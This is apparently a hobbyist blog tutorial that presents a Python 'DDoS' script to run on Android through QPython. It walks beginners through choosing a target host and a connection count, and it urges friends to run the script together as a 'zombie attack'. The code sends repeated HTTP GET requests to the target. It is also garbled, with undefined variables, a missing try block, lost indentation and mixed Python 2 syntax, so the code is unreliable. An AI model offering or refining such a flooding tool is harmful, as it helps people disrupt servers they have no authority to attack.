Python Based simple D-Dos with Android

Well , hello again this time i have a small ddos attack code made for you , first thing i really don’t take any responsibility and harms done by this program however this program can’t harm any server 😛 just for beginners ,so follow the steps below…

  1. You need a Android Mobile or any other device where python can run …
  2. for android download a App called Qpython.what is it ? its a python compiler for android.
  3. after installing copy the script below ( yes you are a script kiddie but though …)
  4. See print (“ddos mode loaded”) …you can change that to any other name you want example print(“GEEKBULB DDOS TOOL”).
  5. Next see the Host =’’ you can change that to host address you want.
  6. see message=”HiServer” you can change that to your own custom message

  Connections are very important its actually the no of pings ! you keep it more thats good but according to your network and processing speed of your android device and this may be effective when you take help of your friends and run it at the same time (zombie attack)

#GeekBulb (educational purposes only i am not responsible for the code:P)

import time, socket, os, sys, string

#below here you can set the website name and your program name

print (“DDoS mode loaded”)

#here you can change the Message for pinging
message=”HiServer ”
conn=input( “How many connections you want to make:” )
ip = socket.gethostbyname( host )

def dos():
ddos = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ddos.connect((host, 80))
ddos.send( “GET /%s HTTP/1.1\r\n” % message )
ddos.sendto( “GET /%s HTTP/1.1\r\n” % message, (ip, port) )
ddos.send( “GET /%s HTTP/1.1\r\n” % message )
except socket.error, msg:
print(“|[Connection Failed] |”)
print ( “|[DDoS Attack Engaged] |”)

for i in xrange(conn):

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